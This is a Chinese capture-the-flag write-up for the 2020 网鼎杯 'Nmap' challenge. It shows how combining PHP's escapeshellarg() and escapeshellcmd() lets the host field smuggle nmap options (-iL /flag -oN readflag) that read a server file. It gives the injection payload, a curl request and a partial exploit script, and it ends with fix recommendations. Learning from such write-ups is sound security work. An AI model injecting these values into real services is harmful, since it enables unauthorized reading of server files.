网鼎杯 2020 朱雀组 Nmap:escapeshell 参数逃逸题解
一、题目信息
题目首页只有一个输入框,用来提交 host 参数进行扫描。页面源码中提示:
1 | <!-- flag is in /flag --> |
结合题目名 Nmap,可以判断后端大概率会调用 nmap 对用户输入的主机进行扫描。本题目标是通过 host 参数影响后端命令执行逻辑,从而读取 /flag。
二、功能分析
首页表单如下:
1 | <form id="scanform" class="form-inline" action="?" method="POST"> |
后端可能执行类似命令:
1 | nmap -Pn -T4 -F --host-timeout 1000ms <host> |
同时结合 /list.php、/result.php 等页面行为,可以推测扫描结果会被保存成文件,因此后端可能还添加了输出参数。
三、漏洞核心
这题的关键点有两个:
nmap自带从文件读取目标的参数。escapeshellarg()和escapeshellcmd()连用时可能产生参数逃逸。
1. nmap 关键参数
nmap 中有两个比较关键的参数:
1 | -iL 从文件中读取扫描目标 |
例如:
1 | nmap -iL /flag -oN readflag |
这条命令会尝试把 /flag 文件中的内容当成扫描目标。如果 /flag 中是一行 flag{...},那么 nmap 会把它当成主机名解析。由于它不是合法主机名,最终会在报错中回显原内容。
2. escapeshell 函数问题
题目后端常见写法可能类似:
1 | $host = escapeshellarg($_POST['host']); |
很多时候会误以为两个过滤函数一起使用更安全,但在这里反而可能破坏参数边界。
输入:
1 | 127.0.0.1' -iL /flag -oN readflag |
经过 escapeshellarg() 后,输入会被当成一个整体参数包裹。再经过 escapeshellcmd() 时,引号和反斜杠被再次处理,原本应该作为一个参数的内容被拆开,导致后面的:
1 | -iL /flag -oN readflag |
逃逸成真正的 nmap 命令参数。
四、Payload 构造
最终 payload:
1 | 127.0.0.1' -iL /flag -oN readflag |
含义如下:
| 片段 | 作用 |
|---|---|
127.0.0.1 |
原本合法的扫描目标 |
' |
配合过滤逻辑造成参数边界破坏 |
-iL /flag |
让 nmap 从 /flag 读取目标 |
-oN readflag |
将扫描结果写入 readflag |
五、利用过程
1. 浏览器提交
在首页输入框提交:
1 | 127.0.0.1' -iL /flag -oN readflag |
提交后访问生成的结果文件:
1 | /readflag |
页面中可以看到类似内容:
1 | Failed to resolve "flag{...}". |
其中 Failed to resolve 后面的内容就是 /flag 文件内容。
2. curl 提交
1 | curl -X POST "http://target/" \ |
然后访问:
1 | http://target/readflag |
六、EXP 脚本
1 | import re |
七、修复建议
从真实开发角度看,这类问题应该这样修复:
- 不要把用户输入直接拼接进系统命令。
- 如果必须调用命令行工具,应使用参数数组方式传参。
- 对
host做严格白名单校验,只允许合法 IP 或域名。 - 不要混用
escapeshellarg()和escapeshellcmd()来“叠加安全”。 - 输出文件名由后端生成,不允许用户控制。
八、总结
这题不是简单的命令拼接,而是利用了 nmap 参数能力和 PHP 过滤函数连用后的参数逃逸问题。最终通过 -iL /flag 读取 flag,再通过 -oN readflag 将错误信息写入 Web 可访问文件,从而完成文件读取。
这类题提醒我:安全过滤不能只看“有没有调用过滤函数”,还要看过滤函数的使用顺序、命令参数边界和被调用工具自身的功能。